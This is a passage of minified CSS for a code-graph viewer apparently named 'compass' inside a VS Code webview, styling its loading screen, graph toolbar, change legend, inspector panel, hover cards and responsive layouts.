24px;position:absolute;inset:0}.compass-load-visual{place-items:start center;width:92px;height:88px;margin:0 auto;display:grid;position:relative}.compass-load-mark{width:58px;height:58px;color:var(--compass-focus);place-items:center;display:grid;position:relative}.compass-load-logo{filter:drop-shadow(0 10px 22px);width:54px;height:54px}@supports (color:color-mix(in lab,red,red)){.compass-load-logo{filter:drop-shadow(0 10px 22px color-mix(in srgb,currentColor 24%,transparent))}}.compass-load-logo{transform-origin:50%;animation:2.4s ease-in-out infinite compass-load-logo-breathe}.compass-load-visual[data-state=error] .compass-load-mark{border:1px solid var(--destructive);width:48px;height:48px}@supports (color:color-mix(in lab,red,red)){.compass-load-visual[data-state=error] .compass-load-mark{border:1px solid color-mix(in srgb,var(--destructive) 66%,var(--compass-line))}}.compass-load-visual[data-state=error] .compass-load-mark{color:var(--destructive);box-shadow:0 18px 48px var(--destructive);border-radius:12px}@supports (color:color-mix(in lab,red,red)){.compass-load-visual[data-state=error] .compass-load-mark{box-shadow:0 18px 48px color-mix(in srgb,var(--destructive) 20%,transparent)}}.compass-load-visual[data-state=error] .compass-load-mark svg{width:22px;height:22px}.compass-load-copy{z-index:1;width:min(620px,100vw - 48px);position:relative}.compass-load-eyebrow{color:var(--compass-focus);letter-spacing:.16em;text-transform:uppercase;margin-bottom:10px;font-size:11px;font-weight:700;display:block}.compass-load-copy h1{color:var(--foreground);letter-spacing:-.035em;margin:0;font-size:clamp(24px,4vw,38px);font-weight:650;line-height:1.08}.compass-load-steps,.compass-load-error{color:var(--muted-foreground);margin:16px auto 0;font-size:13px;line-height:1.65}.compass-load-steps{flex-wrap:wrap;justify-content:center;gap:6px;display:flex}.compass-load-steps b{color:var(--compass-focus);font-weight:700}.compass-load-error{overflow-wrap:anywhere;max-width:560px}.compass-load-actions{flex-wrap:wrap;justify-content:center;gap:10px;margin-top:22px;display:flex}.compass-load-action{border:1px solid var(--compass-line-strong);background:var(--compass-panel-raised);min-height:38px;color:var(--foreground);font:inherit;border-radius:9px;outline:none;align-items:center;gap:8px;padding:0 14px;font-size:12px;display:inline-flex}.compass-load-action:hover{border-color:var(--compass-focus);background:var(--compass-focus-soft)}.compass-load-action-primary{border-color:var(--vscode-button-background,var(--compass-focus));background:var(--vscode-button-background,var(--compass-focus));color:var(--vscode-button-foreground,#fff)}.compass-load-action-primary:hover{background:var(--vscode-button-hoverBackground,var(--compass-focus))}.compass-load-action svg{width:15px;height:15px}@keyframes compass-load-logo-breathe{50%{opacity:.72;transform:scale(.94)}}.compass-load-shell{background:var(--vscode-editor-background,var(--background));grid-template-rows:auto auto;gap:18px}.compass-load-shell:before{display:none}.compass-load-visual{width:92px;height:88px;margin:0 auto}.compass-load-mark{color:var(--vscode-symbolIcon-classForeground,var(--vscode-progressBar-background,var(--compass-focus)));box-shadow:none}.compass-load-logo{filter:drop-shadow(0 9px 20px var(--vscode-progressBar-background,var(--workbench-progress)))}@supports (color:color-mix(in lab,red,red)){.compass-load-logo{filter:drop-shadow(0 9px 20px color-mix(in srgb,var(--vscode-progressBar-background,var(--workbench-progress)) 28%,transparent))}}.compass-load-progress{background:var(--vscode-progressBar-background,var(--workbench-progress));width:96px;height:2px;position:absolute;bottom:0;left:50%;overflow:hidden;transform:translate(-50%)}@supports (color:color-mix(in lab,red,red)){.compass-load-progress{background:var(--vscode-progressBar-background,color-mix(in srgb, var(--workbench-progress) 28%, transparent))}}.compass-load-progress i{background:var(--workbench-progress);width:45%;height:100%;animation:1.4s ease-in-out infinite compass-native-progress;display:block}@keyframes compass-native-progress{0%{transform:translate(-110%)}to{transform:translate(330%)}}.compass-load-copy{width:min(520px,100vw - 40px)}.compass-load-eyebrow{color:var(--muted-foreground);letter-spacing:.08em;margin-bottom:7px;font-size:10px}.compass-load-copy h1{letter-spacing:-.015em;font-size:clamp(19px,3vw,25px);font-weight:600;line-height:1.2}.compass-load-steps,.compass-load-error{margin-top:10px;font-size:12px}.compass-load-steps{gap:8px 14px}.compass-load-step{color:var(--vscode-disabledForeground,var(--muted-foreground));align-items:center;gap:6px;display:inline-flex}.compass-load-step>i{border:1px solid;border-radius:50%;width:6px;height:6px;display:block}.compass-load-step[data-state=complete]{color:var(--vscode-descriptionForeground,var(--muted-foreground))}.compass-load-step[data-state=complete]>i{border-color:var(--vscode-progressBar-background,var(--workbench-progress));background:var(--vscode-progressBar-background,var(--workbench-progress))}.compass-load-step[data-state=active]{color:var(--vscode-editor-foreground,var(--foreground))}.compass-load-step[data-state=active]>i{border-color:var(--vscode-progressBar-background,var(--workbench-progress));background:var(--vscode-progressBar-background,var(--workbench-progress));box-shadow:0 0 7px var(--vscode-progressBar-background,var(--workbench-progress))}@supports (color:color-mix(in lab,red,red)){.compass-load-step[data-state=active]>i{box-shadow:0 0 7px color-mix(in srgb,var(--vscode-progressBar-background,var(--workbench-progress)) 46%,transparent)}}.compass-load-action{background:var(--vscode-button-secondaryBackground,var(--secondary));min-height:30px;color:var(--vscode-button-secondaryForeground,var(--secondary-foreground));border-radius:3px;padding:0 11px}.compass-load-action-primary{background:var(--vscode-button-background,var(--primary));color:var(--vscode-button-foreground,var(--primary-foreground))}.compass-load-shell[data-variant=architecture]{text-align:left;grid-template-rows:auto auto;grid-template-columns:minmax(220px,390px) minmax(280px,560px);column-gap:clamp(24px,6vw,72px)}.compass-load-shell[data-variant=architecture] .compass-load-visual{grid-column:1;margin:0}.compass-load-shell[data-variant=architecture] .compass-load-copy{grid-column:1;width:auto}.compass-load-shell[data-variant=architecture] .compass-load-steps{justify-content:flex-start}.architecture-load-skeleton{border:1px solid var(--vscode-panel-border,var(--border));background:var(--vscode-editor-background,var(--background));border-radius:4px;grid-area:1/2/span 2;grid-template-rows:54px 1fr;grid-template-columns:92px 1fr;width:min(46vw,560px);height:min(46vh,360px);display:grid;overflow:hidden}.architecture-load-skeleton span{background-image:linear-gradient(90deg,transparent,var(--foreground),transparent)}@supports (color:color-mix(in lab,red,red)){.architecture-load-skeleton span{background-image:linear-gradient(90deg,transparent,color-mix(in srgb,var(--foreground) 7%,transparent),transparent)}}.architecture-load-skeleton span{background-size:220% 100%;animation:1.8s ease-in-out infinite compass-skeleton}.architecture-load-rail{border-right:1px solid var(--border);background-color:var(--vscode-sideBar-background,var(--sidebar));grid-row:1/span 2}.architecture-load-flow{border-bottom:1px solid var(--border)}.architecture-load-content{border:1px solid var(--border);border-radius:3px;margin:14px}@keyframes compass-skeleton{to{background-position:-220% 0}}.compass-workspace{isolation:isolate;background:var(--compass-canvas);height:100vh;min-height:30rem;position:relative;overflow:hidden}.compass-workspace-content{grid-template-columns:minmax(0,1fr) 8px var(--compass-inspector-width,340px);width:100%;height:100%;min-height:inherit;display:grid;overflow:hidden}.compass-workspace-content[data-inspector-collapsed=true]{grid-template-columns:minmax(0,1fr) 48px}.compass-graph-transition{z-index:30;background:var(--vscode-editor-background,var(--background));color:var(--foreground);text-align:center;grid-template-rows:auto auto;place-content:center;gap:18px;padding:40px 24px;display:grid;position:absolute;inset:0;overflow:hidden}.compass-graph-transition .compass-load-copy{width:min(520px,100vw - 40px)}.compass-graph-transition-description{max-width:470px;color:var(--vscode-descriptionForeground,var(--muted-foreground));margin:10px auto 0;font-size:12px;line-height:1.6}.compass-graph-transition .compass-load-action:focus-visible{outline:2px solid var(--vscode-focusBorder,var(--ring));outline-offset:2px}.compass-graph-stage{background:radial-gradient(circle at 45% 42%,var(--compass-focus),transparent 34%),radial-gradient(circle at 76% 75%,var(--compass-success),transparent 28%),linear-gradient(145deg,var(--compass-canvas) 0%,var(--compass-canvas-deep) 100%);min-width:0;min-height:0;position:relative;overflow:hidden}@supports (color:color-mix(in lab,red,red)){.compass-graph-stage{background:radial-gradient(circle at 45% 42%,color-mix(in srgb,var(--compass-focus) 21%,transparent),transparent 34%),radial-gradient(circle at 76% 75%,color-mix(in srgb,var(--compass-success) 10%,transparent),transparent 28%),linear-gradient(145deg,var(--compass-canvas) 0%,var(--compass-canvas-deep) 100%)}}.compass-graph-stage:after{content:"";pointer-events:none;opacity:.16;background-image:radial-gradient(var(--compass-grid) .55px,transparent .55px);background-size:22px 22px;position:absolute;inset:0}.compass-graph-stage[data-comparison=true]{background:var(--vscode-editor-background,var(--compass-canvas))}.compass-graph-stage[data-comparison=true]:after{opacity:.09}.compass-canvas{z-index:1;min-width:0;min-height:0;position:absolute;inset:0}.compass-glass-panel{background:var(--vscode-editorWidget-background,var(--compass-panel));border:1px solid var(--compass-line);box-shadow:none;-webkit-backdrop-filter:none}.compass-graph-toolbar{z-index:4;border-radius:4px;justify-content:space-between;align-items:center;gap:10px;min-height:42px;padding:5px 6px 5px 10px;display:flex;position:absolute;top:12px;left:12px;right:12px}.compass-viewer-status{min-width:0;color:var(--muted-foreground);letter-spacing:.015em;align-items:center;gap:10px;font-size:12px;display:flex}.compass-viewer-status-text{text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.compass-viewer-status-dot{background:var(--compass-focus);width:8px;height:8px;box-shadow:0 0 0 4px var(--compass-focus);border-radius:50%;flex:none}@supports (color:color-mix(in lab,red,red)){.compass-viewer-status-dot{box-shadow:0 0 0 4px color-mix(in srgb,var(--compass-focus) 12%,transparent)}}.compass-viewer-status[data-state=running] .compass-viewer-status-dot{animation:1.6s ease-in-out infinite compass-status-pulse}@keyframes compass-status-pulse{50%{box-shadow:0 0 0 8px color-mix(in srgb,var(--compass-focus) 0%,transparent)}}.compass-toolbar-actions{align-items:center;gap:6px;display:flex}.compass-tool-button{min-height:30px;color:var(--muted-foreground);white-space:nowrap;background:0 0;border:1px solid #0000;border-radius:3px;align-items:center;gap:7px;padding:0 8px;transition:none;display:inline-flex}.compass-tool-button svg{width:15px;height:15px}.compass-tool-button:hover,.compass-tool-button[aria-pressed=true]{border-color:var(--compass-line);background:var(--workbench-hover);color:var(--foreground)}.compass-tool-button:focus-visible,.compass-change-legend button:focus-visible,.compass-search-field input:focus-visible,.compass-search-item:focus-visible,.compass-inspector-action:focus-visible,.compass-source-card:focus-visible,.compass-inspector-disclosure:focus-visible,.compass-inspector-resizer:focus-visible,.compass-load-action:focus-visible,.compass-neighbor-link:focus-visible,.compass-community-item:focus-within,.compass-changed-symbols button:focus-visible,.compass-evidence-source-actions button:focus-visible,.compass-relationship-detail>button:focus-visible{outline:2px solid var(--compass-focus);outline-offset:2px}.compass-change-legend{z-index:4;border:1px solid var(--compass-line);background:var(--vscode-editorWidget-background,var(--compass-panel));border-radius:4px;flex-wrap:wrap;gap:5px;max-width:calc(100% - 24px);padding:5px;display:flex;position:absolute;top:64px;left:12px}.compass-change-legend button{min-height:27px;color:var(--muted-foreground);background:0 0;border:1px solid #0000;border-radius:3px;align-items:center;gap:6px;padding:3px 7px;font-size:10px;display:inline-flex}.compass-change-legend button:hover,.compass-change-legend button[aria-pressed=true]{border-color:var(--compass-line);background:var(--workbench-hover);color:var(--foreground)}.compass-change-legend button[aria-pressed=false]{opacity:.42}.compass-change-legend button>span{border:1px solid var(--vscode-descriptionForeground,#6e7781);background:var(--vscode-descriptionForeground,#6e7781);border-radius:50%;width:8px;height:8px}@supports (color:color-mix(in lab,red,red)){.compass-change-legend button>span{background:color-mix(in srgb,var(--vscode-descriptionForeground,#6e7781) 18%,var(--vscode-editor-background,var(--background)))}}.compass-change-legend button[data-change=added]>span{border-color:var(--vscode-gitDecoration-addedResourceForeground,#2ea043);background:var(--vscode-gitDecoration-addedResourceForeground,#2ea043)}@supports (color:color-mix(in lab,red,red)){.compass-change-legend button[data-change=added]>span{background:color-mix(in srgb,var(--vscode-gitDecoration-addedResourceForeground,#2ea043) 22%,var(--vscode-editor-background,var(--background)))}}.compass-change-legend button[data-change=removed]>span{border-color:var(--vscode-gitDecoration-deletedResourceForeground,#f85149);background:var(--vscode-gitDecoration-deletedResourceForeground,#f85149)}@supports (color:color-mix(in lab,red,red)){.compass-change-legend button[data-change=removed]>span{background:color-mix(in srgb,var(--vscode-gitDecoration-deletedResourceForeground,#f85149) 22%,var(--vscode-editor-background,var(--background)))}}.compass-change-legend button[data-change=changed]>span{border-color:var(--vscode-gitDecoration-modifiedResourceForeground,#d29922);background:var(--vscode-gitDecoration-modifiedResourceForeground,#d29922)}@supports (color:color-mix(in lab,red,red)){.compass-change-legend button[data-change=changed]>span{background:color-mix(in srgb,var(--vscode-gitDecoration-modifiedResourceForeground,#d29922) 22%,var(--vscode-editor-background,var(--background)))}}.compass-change-legend button small{color:var(--compass-faint);font:9px/1 var(--compass-font-mono)}.compass-inspector-resizer{z-index:6;background:var(--compass-panel);cursor:col-resize;touch-action:none;border:0;outline:none;min-width:8px;position:relative}.compass-inspector-resizer span{background:var(--compass-line-strong);border-radius:999px;width:2px;height:42px;transition:height .16s,background .16s;position:absolute;top:50%;left:3px;transform:translateY(-50%)}.compass-inspector-resizer:hover span,.compass-inspector-resizer:focus-visible span{background:var(--compass-focus);height:68px}.compass-graph-inspector{z-index:5;border-left:1px solid var(--compass-line);background:var(--vscode-sideBar-background,var(--compass-panel));min-width:0;box-shadow:none;flex-direction:column;display:flex;position:relative;overflow:hidden}.compass-graph-inspector-collapsed{border-left:1px solid var(--compass-line);box-shadow:none;align-items:center}.compass-inspector-header{border-bottom:1px solid var(--compass-line);align-items:center;gap:11px;min-height:52px;padding:8px 12px;display:flex}.compass-inspector-title{flex:1;min-width:0}.compass-inspector-header strong,.compass-inspector-header small{display:block}.compass-inspector-header strong{letter-spacing:.01em;font-size:14px}.compass-inspector-header small{color:var(--compass-faint);margin-top:2px;font-size:11px}.compass-product-mark{background:linear-gradient(145deg,var(--vscode-button-foreground,#eff8ff),var(--compass-focus));border-radius:4px;flex:none;place-items:center;width:32px;height:32px;display:grid}@supports (color:color-mix(in lab,red,red)){.compass-product-mark{background:linear-gradient(145deg,var(--vscode-button-foreground,#eff8ff),color-mix(in srgb,var(--compass-focus) 64%,#fff))}}.compass-product-mark{color:var(--vscode-button-background,#09182c);box-shadow:inset 0 0 0 1px #ffffff7a}.compass-product-mark svg{width:19px;height:19px}.compass-inspector-disclosure{width:32px;height:32px;color:var(--muted-foreground);background:0 0;border:1px solid #0000;border-radius:3px;outline:none;flex:none;place-items:center;transition:none;display:grid}.compass-inspector-disclosure:hover{border-color:var(--compass-line);background:var(--workbench-hover);color:var(--foreground)}.compass-inspector-disclosure svg{width:17px;height:17px}.compass-inspector-expand{margin-top:18px}.compass-inspector-rail-label{color:var(--compass-faint);letter-spacing:.12em;text-transform:uppercase;writing-mode:vertical-rl;margin-top:16px;font-size:10px;font-weight:650}.compass-inspector-search{border-bottom:1px solid var(--compass-line);padding:10px 12px;position:relative}.compass-search-field{position:relative}.compass-search-field svg{width:15px;height:15px;color:var(--compass-faint);pointer-events:none;position:absolute;top:50%;left:13px;transform:translateY(-50%)}.compass-search-field input{border:1px solid var(--compass-line);background:var(--vscode-input-background,var(--background));width:100%;min-height:30px;color:var(--vscode-input-foreground,var(--foreground));border-radius:3px;outline:none;padding:0 10px 0 34px}.compass-search-field input::placeholder{color:var(--vscode-input-placeholderForeground,var(--compass-faint))}.compass-search-results{z-index:8;border:1px solid var(--compass-line-strong);background:var(--vscode-menu-background,var(--compass-panel));max-height:230px;box-shadow:0 4px 12px var(--vscode-widget-shadow,#00000047);border-radius:3px;padding:6px;position:absolute;top:46px;left:12px;right:12px;overflow-y:auto}.compass-search-item{width:100%;min-height:42px;color:var(--muted-foreground);text-align:left;background:0 0;border:0;border-left:3px solid #0000;border-radius:2px;padding:7px 10px;display:block;overflow:hidden}.compass-search-item strong,.compass-search-item span{text-overflow:ellipsis;white-space:nowrap;display:block;overflow:hidden}.compass-search-item strong{color:var(--foreground);font-size:12px}.compass-search-item span{color:var(--compass-faint);font:10px/1.4 var(--compass-font-mono)}.compass-search-item:hover,.compass-search-item[aria-selected=true]{background:var(--vscode-list-activeSelectionBackground,var(--compass-focus-soft));color:var(--vscode-list-activeSelectionForeground,var(--foreground))}.compass-info-panel{border-bottom:1px solid var(--compass-line);max-height:48%;padding:18px 16px;overflow-y:auto}.compass-changed-symbols{border-bottom:1px solid var(--compass-line);max-height:30%;padding:14px 16px;overflow-y:auto}.compass-changed-symbol-list{gap:4px;display:grid}.compass-changed-symbol-list>button{width:100%;color:var(--foreground);text-align:left;background:0 0;border:1px solid #0000;border-radius:3px;grid-template-columns:auto minmax(0,1fr);gap:2px 8px;padding:7px 8px;display:grid}.compass-changed-symbol-list>button:hover,.compass-changed-symbol-list>button[aria-pressed=true]{border-color:var(--compass-line);background:var(--vscode-list-activeSelectionBackground,var(--compass-focus-soft))}.compass-changed-symbol-list strong,.compass-changed-symbol-list small{text-overflow:ellipsis;white-space:nowrap;min-width:0;overflow:hidden}.compass-changed-symbol-list small{color:var(--compass-faint);font:9px/1.35 var(--compass-font-mono);grid-column:2}.compass-changed-symbol-status{color:var(--vscode-descriptionForeground);letter-spacing:.06em;text-transform:uppercase;grid-row:1/span 2;align-self:center;font-size:8px;font-weight:700}.compass-changed-symbol-list>button[data-change=added] .compass-changed-symbol-status{color:var(--vscode-gitDecoration-addedResourceForeground,#2ea043)}.compass-changed-symbol-list>button[data-change=removed] .compass-changed-symbol-status{color:var(--vscode-gitDecoration-deletedResourceForeground,#f85149)}.compass-changed-symbol-list>button[data-change=changed] .compass-changed-symbol-status{color:var(--vscode-gitDecoration-modifiedResourceForeground,#d29922)}.compass-changed-symbol-expand{border:1px solid var(--compass-line);width:100%;color:var(--vscode-textLink-foreground,var(--compass-focus));background:0 0;border-radius:3px;margin-top:8px;padding:6px 8px}.compass-record-evidence,.compass-relationship-evidence{margin-top:16px}.compass-evidence-heading{justify-content:space-between;align-items:baseline;margin-bottom:7px;display:flex}.compass-evidence-heading h3{color:var(--foreground);font-size:11px}.compass-evidence-heading span{color:var(--compass-faint);font-size:9px}.compass-field-table-wrap{border:1px solid var(--compass-line);border-radius:3px;overflow-x:auto}.compass-field-table{border-collapse:collapse;table-layout:fixed;width:100%;min-width:360px}.compass-field-table th,.compass-field-table td{border-right:1px solid var(--compass-line);border-bottom:1px solid var(--compass-line);vertical-align:top;text-align:left;padding:6px 7px}.compass-field-table tr:last-child>*{border-bottom:0}.compass-field-table tr>:last-child{border-right:0}.compass-field-table thead th{background:var(--vscode-editorWidget-background,var(--background));color:var(--compass-faint);text-transform:uppercase;font-size:9px}.compass-field-table tbody th{width:27%;color:var(--foreground);font:9px/1.4 var(--compass-font-mono);overflow-wrap:anywhere}.compass-field-table code{color:var(--foreground);font:9px/1.4 var(--compass-font-mono);white-space:pre-wrap;overflow-wrap:anywhere}.compass-value-truncated{color:var(--vscode-editorWarning-foreground,#d29922);margin-top:4px;font-size:8px;display:block}.compass-evidence-source-actions{gap:6px;margin-top:8px;display:flex}.compass-evidence-source-actions button{border:1px solid var(--compass-line);color:var(--vscode-textLink-foreground,var(--compass-focus));background:0 0;border-radius:3px;align-items:center;gap:5px;padding:5px 7px;display:inline-flex}.compass-evidence-source-actions svg{width:12px;height:12px}.compass-relationship-list{gap:5px;margin-top:7px;display:grid}.compass-relationship-list details{border:1px solid var(--compass-line);background:var(--vscode-editorWidget-background,var(--background));border-radius:3px;padding:6px 7px}.compass-relationship-list summary{cursor:pointer;grid-template-columns:auto minmax(0,1fr) auto;align-items:center;gap:4px 7px;display:grid}.compass-relationship-target{color:var(--vscode-textLink-foreground,var(--compass-focus));text-align:left;text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.compass-relationship-list summary small{color:var(--foreground);font:9px/1.3 var(--compass-font-mono);grid-column:2}.compass-relationship-list summary i{color:var(--compass-faint);text-transform:uppercase;grid-area:2/3;font-size:8px;font-style:normal}.compass-relationship-detail{margin-top:7px}.compass-relationship-detail>p{color:var(--compass-faint);font:9px/1.4 var(--compass-font-mono);margin:7px 0 0}.compass-relationship-detail>button{border:1px solid var(--compass-line);color:var(--vscode-textLink-foreground,var(--compass-focus));background:0 0;border-radius:3px;margin-top:7px;padding:4px 7px}.compass-bounded-notice{z-index:4;border:1px solid var(--vscode-editorWarning-foreground,#d29922);background:var(--vscode-editorWidget-background,var(--compass-panel));max-width:min(420px,100% - 24px);color:var(--foreground);border-radius:3px;gap:2px;padding:8px 10px;font-size:10px;display:grid;position:absolute;bottom:12px;right:12px}.compass-bounded-notice span{color:var(--muted-foreground)}.compass-hover-hint{border-top:1px solid var(--compass-line);color:var(--vscode-textLink-foreground,var(--compass-focus));align-items:center;gap:7px;margin-top:2px;padding-top:9px;font-size:11px;display:flex!important}.compass-hover-hint svg{flex:none;width:14px;height:14px}.compass-hover-hint strong{color:var(--vscode-editorHoverWidget-foreground,var(--foreground));font-weight:650}.compass-section-heading,.compass-neighbors-heading{justify-content:space-between;align-items:baseline;display:flex}.compass-section-heading{margin-bottom:15px}.compass-section-heading h2,.compass-community-panel h2{letter-spacing:.1em;text-transform:uppercase;font-size:11px;font-weight:700}.compass-section-heading span{color:var(--compass-faint);letter-spacing:.1em;text-transform:uppercase;font-size:9px}.compass-info-content{color:var(--muted-foreground);font-size:12px;line-height:1.45}.compass-node-identity{align-items:center;gap:11px;margin-bottom:15px;display:flex}.compass-node-identity>span:nth-child(2){flex:1;min-width:0}.compass-node-identity strong,.compass-node-identity small{display:block}.compass-node-identity strong{color:var(--foreground);text-overflow:ellipsis;white-space:nowrap;font-size:14px;overflow:hidden}.compass-node-identity small{background:var(--compass-success);border-radius:999px;width:max-content;margin-top:3px;padding:3px 7px}@supports (color:color-mix(in lab,red,red)){.compass-node-identity small{background:color-mix(in srgb,var(--compass-success) 20%,transparent)}}.compass-node-identity small{color:var(--compass-success);letter-spacing:.07em;text-transform:uppercase;font-size:9px;font-weight:800}.compass-node-swatch{border-radius:5px;flex:none;width:10px;height:36px}.compass-change-badge{width:max-content;color:var(--vscode-descriptionForeground,#6e7781);letter-spacing:.05em;text-transform:uppercase;border:1px solid;border-radius:999px;align-items:center;gap:5px;padding:3px 7px;font-size:9px;font-weight:700;display:inline-flex}.compass-node-identity .compass-change-badge{flex:none;margin-left:auto}.compass-change-badge[data-change=added]{color:var(--vscode-gitDecoration-addedResourceForeground,#2ea043)}.compass-change-badge[data-change=removed]{color:var(--vscode-gitDecoration-deletedResourceForeground,#f85149)}.compass-change-badge[data-change=changed]{color:var(--vscode-gitDecoration-modifiedResourceForeground,#d29922)}.compass-metadata-grid{grid-template-columns:1fr 1fr;gap:8px;margin-bottom:15px;display:grid}.compass-metadata-grid>div{border:1px solid var(--compass-line);background:var(--vscode-editorWidget-background,var(--background));border-radius:3px;min-width:0;padding:9px 10px}.compass-metadata-grid .compass-metadata-wide{grid-column:1/-1}.compass-metadata-grid dt{color:var(--compass-faint);letter-spacing:.08em;text-transform:uppercase;font-size:9px}.compass-metadata-grid dd{color:var(--foreground);text-overflow:ellipsis;white-space:nowrap;margin-top:4px;overflow:hidden}.compass-source-metadata[data-interactive=true]{padding:0;transition:border-color .16s,background .16s}.compass-source-metadata[data-interactive=true]:hover,.compass-source-metadata[data-interactive=true]:focus-within{border-color:var(--compass-focus);background:var(--compass-focus-soft)}.compass-source-metadata[data-interactive=true] dd{white-space:normal;margin:0;overflow:visible}.compass-source-card{width:100%;min-height:58px;color:var(--foreground);text-align:left;background:0 0;border:0;border-radius:2px;outline:none;justify-content:space-between;align-items:center;gap:10px;padding:9px 10px;display:flex}.compass-source-copy{min-width:0;display:block}.compass-source-eyebrow,.compass-source-path,.compass-source-range{display:block}.compass-source-eyebrow{color:var(--compass-faint);font-family:var(--compass-font-sans);letter-spacing:.08em;text-transform:uppercase;font-size:9px}.compass-source-path{font:11px/1.35 var(--compass-font-mono);text-overflow:ellipsis;white-space:nowrap;margin-top:4px;overflow:hidden}.compass-source-range{color:var(--muted-foreground);font:10px/1.25 var(--compass-font-sans);margin-top:3px}.compass-source-card>svg{width:15px;height:15px;color:var(--compass-focus);flex:none}.compass-source-card:hover>svg{color:var(--foreground)}.compass-signature-block{overflow-wrap:anywhere;border:1px solid var(--compass-line);background:var(--vscode-input-background,var(--background));color:var(--foreground);font:11px/1.45 var(--compass-font-mono);border-radius:3px;margin-bottom:15px;padding:10px;display:block}.compass-inspector-action{border:1px solid var(--compass-line);background:var(--workbench-hover);width:100%;min-height:36px;color:var(--foreground);border-radius:3px;justify-content:space-between;align-items:center;gap:8px;margin-bottom:14px;padding:0 10px;display:flex}.compass-inspector-action span{min-width:0;color:var(--muted-foreground);font:10px/1.2 var(--compass-font-mono);text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.compass-neighbors-heading{margin:3px 0 7px}.compass-neighbors-heading strong{color:var(--compass-faint);font-size:10px}.compass-neighbors-list{max-height:154px;overflow-y:auto}.compass-neighbor-link{width:100%;min-height:36px;color:var(--muted-foreground);text-align:left;background:0 0;border:0;border-radius:3px;align-items:center;gap:9px;margin:3px 0;padding:8px 9px;display:flex;overflow:hidden}.compass-neighbor-link:hover{background:var(--workbench-hover);color:var(--foreground)}.compass-neighbor-dot{width:8px;height:8px;box-shadow:0 0 0 1px var(--foreground);border-radius:50%;flex:none}@supports (color:color-mix(in lab,red,red)){.compass-neighbor-dot{box-shadow:0 0 0 1px color-mix(in srgb,var(--foreground) 10%,transparent)}}.compass-neighbor-label{text-overflow:ellipsis;white-space:nowrap;min-width:0;overflow:hidden}.compass-empty{color:var(--compass-faint);padding:8px 0;font-size:12px;display:block}.compass-community-panel{flex:1;min-height:0;padding:16px;overflow-y:auto}.compass-community-panel h2{margin-bottom:10px}.compass-community-panel[data-secondary=true]{flex:0 auto;padding-top:12px}.compass-community-panel details>summary{cursor:pointer;min-height:30px;color:var(--muted-foreground);letter-spacing:.1em;text-transform:uppercase;justify-content:space-between;align-items:center;font-size:11px;font-weight:700;display:flex}.compass-community-panel details>summary span{color:var(--compass-faint);font:9px/1 var(--compass-font-mono)}.compass-community-controls{min-height:0}.compass-community-control,.compass-community-item{min-height:34px;color:var(--muted-foreground);align-items:center;gap:8px;font-size:12px;display:flex}.compass-community-item{border-radius:3px}.compass-community-item:hover{background:var(--workbench-hover);color:var(--foreground)}.compass-community-item[data-hidden=true]{opacity:.36}.compass-community-item input,.compass-community-control input{width:15px;height:15px;accent-color:var(--compass-focus)}.compass-community-dot{border-radius:50%;flex:none;width:9px;height:9px}.compass-community-label{text-overflow:ellipsis;white-space:nowrap;flex:1;min-width:0;overflow:hidden}.compass-community-item small{color:var(--compass-faint);font-size:10px}.compass-graph-stats{border-top:1px solid var(--compass-line);color:var(--compass-faint);letter-spacing:.025em;padding:11px 16px;font-size:10px}.compass-node-hover-card{z-index:7;top:clamp(86px,var(--compass-hover-y),calc(100% - 10rem));left:clamp(12px,var(--compass-hover-x),calc(100% - min(27rem,90%) - 12px));border:1px solid var(--compass-line-strong);background:var(--vscode-editorHoverWidget-background,var(--compass-panel));width:max-content;max-width:min(26rem,100% - 24px);color:var(--vscode-editorHoverWidget-foreground,var(--muted-foreground));box-shadow:0 4px 12px var(--vscode-widget-shadow,#00000047);pointer-events:none;border-radius:3px;gap:7px;padding:13px 15px;font-size:12px;line-height:1.35;display:grid;position:absolute;overflow:hidden}.compass-node-hover-card>.compass-change-badge{margin:0}.compass-hover-heading{align-items:center;gap:8px;display:flex}.compass-hover-heading strong{min-width:0;color:var(--foreground);text-overflow:ellipsis;white-space:nowrap;font-size:13px;overflow:hidden}.compass-hover-heading span{background:var(--compass-success);border-radius:999px;width:max-content;padding:3px 7px}@supports (color:color-mix(in lab,red,red)){.compass-hover-heading span{background:color-mix(in srgb,var(--compass-success) 20%,transparent)}}.compass-hover-heading span{color:var(--compass-success);letter-spacing:.07em;font-size:9px;font-weight:800}.compass-node-hover-card p,.compass-node-hover-card code{display:block}.compass-hover-source{color:var(--compass-focus)}.compass-node-hover-card code{max-width:395px;color:var(--foreground);font-family:var(--compass-font-mono);text-overflow:ellipsis;white-space:nowrap;overflow:hidden}body.vscode-high-contrast .compass-glass-panel,body.vscode-high-contrast .compass-graph-inspector,body.vscode-high-contrast .compass-inspector-resizer,body.vscode-high-contrast .compass-load-action,body.vscode-high-contrast .compass-load-step>i,body.vscode-high-contrast .compass-source-metadata,body.vscode-high-contrast-light .compass-glass-panel,body.vscode-high-contrast-light .compass-graph-inspector,body.vscode-high-contrast-light .compass-inspector-resizer,body.vscode-high-contrast-light .compass-load-action,body.vscode-high-contrast-light .compass-load-step>i,body.vscode-high-contrast-light .compass-source-metadata{border-width:2px;border-color:var(--vscode-contrastBorder,var(--compass-focus))}body.vscode-high-contrast .compass-load-logo,body.vscode-high-contrast-light .compass-load-logo{color:var(--vscode-contrastBorder,currentColor)}@media(max-width:980px){.compass-tool-button span{display:none}.compass-tool-button{padding:0 11px}}@media(max-width:760px){.compass-workspace{height:auto;min-height:100vh;overflow:auto}.compass-workspace-content,.compass-workspace-content[data-inspector-collapsed=true]{height:auto;min-height:inherit;grid-template-rows:minmax(360px,62vh) minmax(280px,40vh);grid-template-columns:1fr;overflow:visible}.compass-workspace-content[data-inspector-collapsed=true]{grid-template-rows:minmax(360px,calc(100vh - 48px)) 48px}.compass-inspector-resizer{display:none}.compass-graph-inspector{border-top:1px solid var(--compass-line);min-height:280px;box-shadow:none;border-left:0;border-radius:0}.compass-graph-inspector-collapsed{border-radius:0;flex-direction:row;justify-content:center;min-height:48px}.compass-inspector-expand{margin-top:0}.compass-inspector-rail-label{writing-mode:horizontal-tb;margin-top:0;margin-left:10px}.compass-graph-toolbar{top:12px;left:12px;right:12px}.compass-toolbar-actions{max-width:62%;overflow-x:auto}.compass-info-panel{max-height:none}}@media(prefers-reduced-motion:reduce){*,:before,:after{scroll-behavior:auto!important;transition-duration:.01ms!important;animation-duration:.01ms!important;animation-iteration-count:1!important}.compass-load-logo,.compass-load-progress i,.architecture-load-skeleton 